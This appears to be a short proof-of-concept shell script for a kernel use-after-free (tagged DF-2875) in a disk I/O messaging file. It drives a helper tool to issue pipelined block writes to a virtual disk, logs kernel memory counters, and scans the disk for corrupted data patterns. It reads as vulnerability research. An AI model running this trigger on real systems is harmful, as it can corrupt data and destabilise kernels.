#!/bin/sh
# DF-2875 PoC — pipelined BLK_WRITE in one transaction:
#  subr_diskiocom.c:440  kdmsg_detach_aux_data(msg, &iost->data)  (overwrite)
#  subr_diskiocom.c:606  kdmsg_free_aux_data(&iost->data)         (free on ANY
#                        READ/WRITE completion, not the owning bio's)
# => first completion frees the MOST RECENT aux while its bio may still be
#    in flight (UAF on bp->b_data), all earlier aux are leaked.
set -x
DEV=/dev/vbd0
BASE=32204441600      # sector 62899300, safely inside the tail gap
STRIDE=131072         # 128KB
ROUNDS=10

vmstat -m | grep dmsg_disk > /tmp/f2_mem_before.txt
cat /tmp/f2_mem_before.txt

timeout 300 /tmp/dfpeer pipelines $DEV $ROUNDS 4096 131072 $BASE $STRIDE
echo "pipelines_rc=$?"

vmstat -m | grep dmsg_disk > /tmp/f2_mem_after.txt
cat /tmp/f2_mem_after.txt

echo "=== readscan: expected 0x11+r (W1,4K), 0x22+r (W2), 0xAA (reclaimers) ==="
timeout 300 /tmp/dfpeer readscan $DEV $BASE 60 $STRIDE > /tmp/f2_scan.txt 2>&1
cat /tmp/f2_scan.txt
echo "=== anomalies (W2 slots showing 0xAA or unexpected) ==="
grep -E "off\+00[13579]" /tmp/f2_scan.txt